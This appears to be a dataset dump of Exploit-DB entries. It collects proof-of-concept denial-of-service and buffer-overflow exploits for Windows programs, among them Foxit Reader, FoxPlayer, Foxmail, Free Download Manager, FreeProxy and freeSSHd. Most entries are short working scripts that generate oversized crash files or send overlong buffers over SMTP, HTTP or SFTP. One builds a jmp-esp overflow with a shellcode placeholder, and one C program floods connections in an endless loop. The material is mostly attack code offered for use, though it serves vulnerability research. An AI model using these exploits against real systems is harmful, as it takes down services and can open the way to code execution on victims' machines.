deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24962
Description: Foxit Reader 5.4.3.x < 5.4.5.0124 - PDF XREF Parsing Denial of Service
Type: dos
Platform: windows
Date: 2013-04-18
Author: FuzzMyApp

Exploit:
# Exploit Title: Foxit Reader 5.4.3.* - 5.4.5.0124 - PDF (Portable Document Format) XREF (Cross Reference Table) parsing Denial of Service Vulnerability
# Date (found): 2012.11.17
# Date (publish): 2013.04.17
# Exploit Author: FuzzMyApp
# Vendor Homepage: http://www.foxitsoftware.com
# Version: 5.4.3.* - 5.4.5.0124 (till latest)
# Tested on: Windows XP SP3 Professional Edition

Name:PDF Cross Reference Table parsing Denial of Service vulnerability.
Type:DoS
Description:Foxit Reader does not validate data in PDF Cross Reference Table (XREF) header properly. Tampering with XREF header may lead to integer division by zero exception during its parsing by the application. Raised, not handled, exception causes Denial of Service of Foxit Reader. Vendor was notified on 2013.02.21 but has not responded to this submission. This issue is present in the latest version of application avaiable at the time of writing.
Exception:Integer division by zero exception.
Disasm:0055EB70  |> \33C0          |XOR EAX,EAX
0055EB72  |>  8B28          |MOV EBP,DWORD PTR DS:[EAX]
0055EB74  |.  896C24 64     |MOV DWORD PTR SS:[ESP+64],EBP
0055EB78  |.  8D3C2E        |LEA EDI,DWORD PTR DS:[ESI+EBP]
0055EB7B  |.  3BFE          |CMP EDI,ESI
0055EB7D  |.  897C24 20     |MOV DWORD PTR SS:[ESP+20],EDI
0055EB81  |.  0F82 7F020000 |JB Foxit_Re.0055EE06
0055EB87  |.  83C8 FF       |OR EAX,FFFFFFFF
0055EB8A  |.  33D2          |XOR EDX,EDX
0055EB8C  |.  F7F7          |DIV EDI                                 ;  [www.FuzzMyApp.com] Integer division by zero exception
0055EB8E  |.  394424 3C     |CMP DWORD PTR SS:[ESP+3C],EAX
0055EB92  |.  0F83 6E020000 |JNB Foxit_Re.0055EE06

Advisory: http://www.fuzzmyapp.com/advisories/FMA-2012-042/FMA-2012-042-EN.xml

Exploit PoC: http://fuzzmyapp.com/advisories/FMA-2012-042/FMA-2012-042.pdf
             https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24962.pdf
Exploit-DB #39330
Description: Foxit Reader 7.2.8.1124 - '.PDF' Parsing Memory Corruption
Type: dos
Platform: windows
Date: 2016-01-26
Author: Francis Provencher

Exploit:
#####################################################################################

Application: Foxit Reader PDF Parsing Memory Corruption

Platforms: Windows

Versions: 7.2.8.1124 and earlier

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Foxit Reader is a multilingual freemium PDF tool that can create, view, edit, digitally sign, and print PDF files.[3] Early versions of Foxit Reader were notable for startup performance and small file size.[citation needed] Foxit has been compared favorably toAdobe Reader.[4][5][6] The Windows version allows annotating and saving unfinished PDF forms, FDF import/export, converting to text, highlighting and drawing.

(http://en.wikipedia.org/wiki/Foxit_Reader)

#####################################################################################

============================
2) Report Timeline
============================

2015-12-18: Francis Provencher from Protek Research Lab’s found the issue;
2016-01-02: Foxit Security Response Team confirmed the issue;
2016-01-21: Foxit fixed the issue;
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader.

User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

A specially crafted PDF can force a dangling pointer to be reused after it has been freed. An attacker can leverage this vulnerability

to execute arbitrary code under the context of the current process.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-02.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39330.zip

###############################################################################
Exploit-DB #797
Description: Foxmail 2.0 - 'MAIL FROM:' Denial of Service
Type: dos
Platform: windows
Date: 2005-02-07
Author: OYXin

Exploit:
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt


def usage():
    print "Usage: foxserver.py -h host -p port"
    sys.exit(0)
    
if __name__ == '__main__':
    
    try: 
        opts, args = getopt.getopt(sys.argv[1:], "h:p:") 
    except getopt.GetoptError, msg: 
        print msg
        usage()
        
    for o,a in opts:
        if o in ["-h"]:
            host = a
        if o in ["-p"]:
            port = int(a)

    evilbuf =  "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
    evilbuf += "RCPT-TO: postmaster@company.mailDATA" + "\r\n"
    evilbuf += "Message-ID: 123" + "\r\n"
    evilbuf += "ASDF" + "\r\n"
    evilbuf += "." + "\r\n"
    evilbuf += "QUIT" + "\r\n"
    try:
        sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sockfd.connect((host, port))
        recvbuf = sockfd.recv(1024)
        print `recvbuf`
        sockfd.send("HELO localhost\r\n")
        recvbuf = sockfd.recv(1024)
        print `recvbuf`
        sockfd.send(evilbuf)
    except socket.error, msg:
        print msg
        
    sockfd.close()

# milw0rm.com [2005-02-07]
Exploit-DB #9393
Description: FoxPlayer 1.1.0 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-07
Author: opt!x hacker

Exploit:
#!/usr/bin/perl
# FoxPlayer 1.1.0 (m3u) local stack overlow POC
#finded by opt!x hacker  <optix@9.cn>
#download : http://files.brothersoft.com/regnow/fox-player-setup.exe
my $header="#M3u";
my $crash="A" x 11500;
my $poc=$crash;
open(myfile,'>>AIDI.m3u');
print myfile $poc;

# milw0rm.com [2009-08-07]
Exploit-DB #14071
Description: FoxPlayer 2 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-06-26
Author: Madjix

Exploit:
###########################################################################
#Exploit Title : FoxPlayer 2 (.m3u) Local BOF PoC
#download : http://www.foxmediatools.com/products/foxplayer.html
#tested on windows xp SP 3 FR
#Author: MadjiX - Dz8[at]hotmail[dot]com
#Special Greets: Bibi-info , His0k4
###########################################################################
my $file= "MadjiX.m3u";
my $junk1= "\x41" x 100000 ;
open($FILE,">$file");
print $FILE $junk1 ;
close($FILE);
Exploit-DB #15229
Description: FoxPlayer 2.3.0 - '.m3u' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-10-10
Author: Anastasios Monachos

Exploit:
#!/usr/bin/perl
###########################################################################
#Title: FoxPlayer Version 2.3.0 (.m3u) Local BOF PoC
#Download: http://www.foxmediatools.com/products/foxplayer.html
#Tested on WinXP Pro SP2
#Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com
#Greetz: offsec and inj3ct0r teams
###########################################################################
my $junk= "\x41" x 218 ; #Application will crash with 218 bytes, more will do the job too
open(file,">crash.m3u");
print file $junk ;
close(file);
Exploit-DB #15632
Description: FoxPlayer 2.4.0 - Denial of Service
Type: dos
Platform: windows
Date: 2010-11-29
Author: Oh Yaw Theng

Exploit:
# Exploit Title: FoxPlayer 2.4.0 (.m3u) Denial of Service
# Date: 30 / 11 / 2010
# Author: Oh Yaw Theng
# Software Link: http://www.foxmediatools.com/installers/fox-player-setup.exe
# Version: v2.4.0
# Tested on: Windows XP SP 2
# CVE : N / A
# Description : This is the latest version of FoxPlayer from the official website.. The version is v2.4.0

#!/usr/bin/python

filename = "crash.m3u"

junk = "\x41" * 50000

exploit = junk

textfile = open(filename,'w')
textfile.write(exploit)
textfile.close()
Exploit-DB #18691
Description: FoxPlayer 2.6.0 - Denial of Service
Type: dos
Platform: windows
Date: 2012-04-01
Author: Ahmed Elhady Mohamed

Exploit:
Denial of Service in FoxPlayer version 2.6.0
===================================================================================
# Exploit Title:Denial of Service in FoxPlayer version 2.6.0
# Download link :http://www.foxmediatools.com/installers/fox-player-setup.exe
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: version 2.6.0
# Category: DOS
# Tested on: windows XP SP3
===================================================================================
########################################DESC#######################################
#Foxplayer 2.6.0 suffers form a denial of service vulnerability ,when opening a   #
#malicious .m3u file.                                                             #
###################################################################################

#!/usr/bin/ruby
File.open "Crash.m3u" , "w" do |file|
	junk = "A" * 40000
	file.puts junk
end
Exploit-DB #23923
Description: FoxPlayer 2.9.0 - Denial of Service
Type: dos
Platform: windows
Date: 2013-01-06
Author: metacom

Exploit:
#!/usr/bin/python 
# Exploit Title:Denial of Service in FoxPlayer version 2.9.0
# Download link :http://www.foxmediatools.com/installers/fox-player-setup.exe
# Author: metacom
# version: version 2.9.0
# Category: poc
# Tested on: windows 7 German  
 
filename="evil.m3u"
 
buffer = "\x41" * 5000

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #15670
Description: Free Audio Converter 7.1.5 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-12-04
Author: h1ch4m

Exploit:
####
####
####Exploit Title: Free Audio Converter 7.1.5 Local Crash PoC
####Software Link: http://www.free-audio-converter.net/
####Tested on: Win XP SP3
####Date: 04-12-2010
####Author:  h1ch4m
####Email: h1ch4m@live.fr
####
####


#Note: all vendor's products are affected.
my $file= "1.mp3";
my $junk = "\x41" x 1000;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "File Created successfully\n";
sleep(1);
Exploit-DB #7986
Description: Free Download Manager 2.5/3.0 - Authorisation Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-02-04
Author: Praveen Darshanam

Exploit:
#!usr/bin/perl -w

#######################################################################################
#   Stack-based buffer overflow in Remote Control Server in Free Download Manager
#    (FDM) 2.5 Build 758 and 3.0 Build 844 allows remote attackers to execute
#    arbitrary code via a long Authorization header in an HTTP request.
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0183
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with
#     "#!Installation_path_for_perl -w" (say #!C:/Program Files/Perl/bin/perl -w)
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Darshanam
#        Email:     praveen[underscore]recker[at]sify.com\
#        Blog:        http://www.darshanams.blogspot.com/
#        Date:      04th February, 2009
#
########Thanx to str0ke,milw0rm, @rp m@n, and all the security folks####################
########################################################################################

use IO::Socket;

print("\nEnter IP Address of Remote Control Server(not domain) FDM: \n");
$vuln_host_ip = <STDIN>;


$sock_http = IO::Socket::INET->new(   PeerAddr => $vuln_host_ip,
                                     PeerPort => 80,
                                     Proto    => 'tcp') || "Unable to create Socket for HTTP Connection";

$mal_buff="D"x3000;

$http_attack = "GET / HTTP/1.1\r\n".
"Host: $vuln_host_ip\r\n".
"Authorization:$mal_buff\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n\r\n";

print $sock_http $http_attack;

close($sock_http);

# milw0rm.com [2009-02-04]
Exploit-DB #46382
Description: Free IP Switcher 3.1 - 'Computer Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-15
Author: Victor Mondragón

Exploit:
#Exploit Title: Free IP Switcher 3.1 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-14
#Vendor Homepage: http://www.eusing.com/index.html
#Software Link: http://www.eusing.com/ipscan/free_ip_scanner.htm
#Tested Version: 3.1 
#Tested on: Windows 10 Single Language x64 / Windows 7 x32 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Free_IP_Switcher_3.1.py
#2.- Open bd.txt and copy content to clipboard
#2.- Open Free IP Switcher 
#3.- Select "Network Adapter"
#4.- In "Additional" enable "Computer Name" and Paste ClipBoard
#5.- Click on "Activate"
#6.- Crashed

cod = "\x41" * 240

f = open('ip_code.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #11975
Description: Free MP3 CD Ripper 2.6 - '.wav' (PoC)
Type: dos
Platform: windows
Date: 2010-03-30
Author: Richard leahy

Exploit:
# Exploit Title: Free MP3 CD Ripper 2.6 (wav) 0-day
# Date: 30/03/2010
# Author: Richard leahy
# Software Link: http://www.soft32.com/Download/Free/Free_MP3_CD_Ripper/4-250188-1.html
# Version: 2.6
# Tested on: Windows Xp Sp2

#to exploit this  open up the application select file -> wav converter -> wav to mp3

#use your favourite programming language and print out the contents into a text file. save the text #file as a .wav
#then open up the wav file and boom.

#feel free to email me leahy_rich@hotmail.com

#code

!#/usr/bin/env ruby
nop = "\x90" # nop
shellcode = "\xCC" #just an interupt can be replaced by proper shellcode
jmp_esp = "\x32\xfa\xca\x76" #find a jmp esp i will use imagehlp  , little endian so reverse it
boom = "A" * 4112 + jmp_esp + nop * 50 + shellcode

puts boom
Exploit-DB #18254
Description: Free Mp3 Player 1.0 - Local Denial of Service
Type: dos
Platform: windows
Date: 2011-12-19
Author: JaMbA

Exploit:
#!/usr/bin/perl

# Exploit Title:  Free Mp3 Player 1.0 Local Denial of Service
# Date: 19-12-2011
# Author: JaMbA
# Download:
http://www.softpedia.com/get/Multimedia/Audio/Audio-Players/Free-Mp3-Player.shtml
# Version: 1.0
# Tested on: Windows 7

my $file= "Crash.mp3";
my $junk= "\x41" x 2048;
open($FILE,">$file");
print $FILE $junk;
print "\nCrash.mp3 File Created successfully\n";
print "\ Dz-Devloper Work Team (Ahmadso best friend)\n";
close($FILE);
Exploit-DB #18223
Description: Free Opener - Local Denial of Service
Type: dos
Platform: windows
Date: 2011-12-09
Author: Iolo Morganwg

Exploit:
#!/usr/bin/perl

# Exploit Title:  Free Opener Local Denial of Service
# Date: 09-12-11
# Author: Iolo Morganwg
# Download: http://dl.installiq.com/download/downloadpop.aspx?shortname=freeopener&a=13193&f=FO-Main
# Tested on: Windows XP SP3

#To trigger: Run script open with Free opener, program dies!.

my $file= "crash25000.jpg";
my $junk = "\x41" x 30000;
# my $junk2 = "\x42" x 5000;

open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);

print "File Created successfully\n";
Exploit-DB #46937
Description: Free SMTP Server 2.5 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-29
Author: Metin Yunus Kandemir

Exploit:
#Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC)
# Date: February 3, 2009
# Exploit Author: Metin Kandemir (kandemir)
# Vendor Homepage: http://www.softstack.com/freesmtp.html
# Software Link: https://free-smtp-server.en.uptodown.com/windows/download
# Version: 2.5
# Tested on: Windows 7 Service Pack 1 x64
# Software Description : Free SMTP server program to send emails directly from PC.
# ==================================================================
# The SMTP Server will crash when this code is run on localhost. 

import socket

a=1
buffer = ["A"]
while a <= 20000:
        a = a+1
        buffer.append("A"*a)


for string in buffer:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect =  s.connect(('127.0.0.1',25))
        s.send(string)
Exploit-DB #24208
Description: FreeIPS 1.0 Protected Service - Denial of Service
Type: dos
Platform: windows
Date: 2004-06-14
Author: shawnwebb@softhome.net

Exploit:
/*
source: https://www.securityfocus.com/bid/10541/info

It is reported that FreeIPS is susceptible to a denial of service vulnerability.

FreeIPS scans TCP connections for particular strings, defined by regular expressions. If a packet matches the regular expression, FreeIPS assumes malicious intent and attempts to close the TCP connection. It accomplishes this by sending TCP RST packets to both the client (attacker) and the server (victim TCP server).

The software correctly generates a TCP RST+ACK packet to the originating client, but the packet sent to the server is incorrectly generated. The packet sent to the server contains invalid sequence and acknowledgment numbers and is ignored.

An attacker can deny service to any TCP application protected by FreeIPS, denying network service to legitimate users.

The attacker would have to know or guess a string pattern that matches a regular expression in FreeIPS to successfully exploit this vulnerability.
*/

int main(int argc, char *argv[])
{
        int sockfd, pass=0, len;
        struct sockaddr_in server;

        if (argc < 4)
        {
                printf ("USAGE: %s IP port payload [paylen]\n", argv[0]);
                exit(1);
        }
        if (argc > 4)
                len = atoi(argv[4]);
        else
                len = strlen(argv[3]);

        server.sin_addr.s_addr = inet_addr(argv[1]);
        server.sin_port = htons(atoi(argv[2]));
        server.sin_family = AF_INET;

        while (1)
        {
                printf("pass: %d\n", ++pass);
                if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
                {
                        perror("socket");
                        exit(1);
                }

                if (connect(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr_in)) < 0)
                {
                        perror("connect");
                        continue;
                }

                if (send(sockfd, argv[3], len, 0) != len)
                {
                        perror("send");
                        exit(1);
                }

                close(sockfd);
        }
}
Exploit-DB #39517
Description: FreeProxy Internet Suite 4.10 - Denial of Service
Type: dos
Platform: windows
Date: 2016-03-02
Author: Guillaume Kaddouch

Exploit:
# Exploit Title: Freeproxy Internet Suite 4.10 Remote DoS
# Date: 01/03/2016
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.handcraftedsoftware.org/
# Software Link: http://www.handcraftedsoftware.org/index.php?page=download&op=getFile&id=2&title=FreeProxy-Internet-Suite
# Version: 4.10.1751
# Tested on: Windows 7 Family x64 (FR)
# Category: DoS

"""
Disclosure Timeline:
--------------------
2016-01-29: Vulnerability discovered
2016-01-30: Vendor contacted
2016-03-01: Vulnerability published 

 
Description :
-------------
A remote Denial Of Service exists in Freeproxy Internet Suite 4.10.1751 when sending a GET request to the proxy with an overly long URL. 
 

Instructions:
-------------
- Starts Freeproxy Internet Suite
- Run this exploit locally or from your remote attacking machine. Multiple sends may be necessary to crash the application.
"""

import socket

host    = "192.168.135.132"
port    = 8080

junk    = '\x41' * 5000

buffer  = "GET http://::../%s/index.html HTTP/1.1\r\n" % junk
buffer += "Host: www.google.fr\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1\r\n"
buffer += "\r\n\r\n"

try:
    print "[*] Connecting to %s:%d" % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print "[*] Sending buffer %d bytes..." % len(junk)
    s.connect((host, port))
    s.send(buffer)
    s.close()

    print "[*] Done."
except:
    print "[-] Error connecting"
Exploit-DB #5709
Description: freeSSHd 1.2.1 - (Authenticated) Remote Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-05-31
Author: securfrog

Exploit:
###############################################################################
#  FreeSSHD remote Buffer Overflow
#
# Website: http://freesshd.com/
#
# Version:1.2.1
#
# Bug: Remote Buffer Overflow ( CD)
#
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=00000001 ebx=00000000 ecx=41414141 edx=00150608 esi=00c268f0 edi=00c268f0
#eip=41414141 esp=00127c10 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
#41414141 ??              ???
#
# Poc:
 

use strict;
use Net::SSH2;
my $ip="127.0.0.1";
my $port=22;
my $user="YOUR_USER";
my $pass="YOUR_PASS";
my $ssh2 = Net::SSH2->new();
my $payload ="A" x 4098;
$ssh2->connect($ip, $port) || die "could not connect";
$ssh2->auth_password($user,$pass)|| die "wrong passwd/login";
print "Poc running ...\n";
my $sftp = $ssh2->sftp();
my $dir = $sftp->opendir($payload);
print "Buffer Overflow Successfull\n";
$ssh2->disconnect();
exit;

# milw0rm.com [2008-05-31]
Exploit-DB #6812
Description: freeSSHd 1.2.1 - (Authenticated) SFTP 'realpath' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-10-22
Author: Jeremy Brown

Exploit:
#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash #2 -- A Product of Fuzzing. Stay Tuned For More.
use Net::SSH2;

$host     = "192.168.0.100";
$port     = 22;
$username = "test";
$password = "test";
$dos      = "A" x 262145;

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$realpath = $sftp->realpath($dos);
$ssh2->disconnect();
exit;

# milw0rm.com [2008-10-22]
Exploit-DB #6800
Description: freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-10-22
Author: Jeremy Brown

Exploit:
#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned.
use Net::SSH2;

$host     = "192.168.0.187";
$port     = 22;
$username = "test";
$password = "test";
$dos      = "A" x 550000;

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$rename = $sftp->rename($dos, "test");
$ssh2->disconnect();
exit;

# milw0rm.com [2008-10-22]